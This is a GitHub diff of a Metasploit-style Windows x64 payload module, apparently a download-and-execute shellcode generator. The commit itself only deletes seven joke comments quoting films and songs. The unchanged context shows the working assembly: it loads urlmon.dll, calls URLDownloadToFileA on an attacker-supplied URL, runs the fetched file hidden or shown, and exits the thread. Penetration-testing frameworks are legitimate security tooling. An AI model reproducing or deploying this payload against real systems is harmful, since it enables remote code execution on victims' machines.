File tree Expand file tree Collapse file tree 1 file changed +0
-7
lines changed
modules/payloads/singles/windows/x64 Expand file tree Collapse file tree 1 file changed +0
-7
lines changed Original file line number Diff line number Diff line change @@ -49,7 +49,6 @@ def generate(_opts = {})
49
49
pop rbp
50
50
call LoadLibrary
51
51
db "urlmon.dllK"
52
- ; V, is this the land of do-as-you-please?
53
52
54
53
LoadLibrary:
55
54
pop rcx ; rcx points to the dll name.
@@ -61,14 +60,12 @@ def generate(_opts = {})
61
60
SetUrl:
62
61
call SetFile
63
62
db "#{ url } A"
64
- ; The Sound of Silence maybe a Careless Whisper?
65
63
66
64
SetFile:
67
65
pop rdx ; 2nd argument
68
66
xor byte [rdx+#{ url . length } ], 'A' ; null terminator
69
67
call UrlDownloadToFile
70
68
db "#{ file } C"
71
- ; Never compromise not even in the face of armageddon.
72
69
73
70
UrlDownloadToFile:
74
71
pop r8 ; 3rd argument
@@ -79,7 +76,6 @@ def generate(_opts = {})
79
76
push rcx ; 5th argument
80
77
mov r10d, #{ Rex ::Text . block_api_hash ( 'urlmon.dll' , 'URLDownloadToFileA' ) }
81
78
call rbp
82
- ; I can see the sun, but even if I cannot see the sun, I know that it exists. And to know that the sun is there - that is living.
83
79
84
80
SetCommand:
85
81
call Exec
@@ -95,15 +91,13 @@ def generate(_opts = {})
95
91
if display == 'HIDE'
96
92
hide = %(
97
93
call rbp
98
- ; I am vengeance! I am the night! I am Batman!
99
94
)
100
95
payload << hide
101
96
102
97
elsif display == 'SHOW'
103
98
show = %(
104
99
inc rdx ; SW_NORMAL = 1
105
100
call rbp
106
- ; It's our only home. Our heaven and our hell. This is Outer Heaven.
107
101
)
108
102
payload << show
109
103
end
@@ -121,7 +115,6 @@ def generate(_opts = {})
121
115
xor rcx,rcx
122
116
mov r10d, #{ Rex ::Text . block_api_hash ( 'kernel32.dll' , 'ExitThread' ) }
123
117
call rbp
124
- ; She walks in beauty, like the night...
125
118
)
126
119
payload << exit_asm
127
120
end
You can’t perform that action at this time.
0 commit comments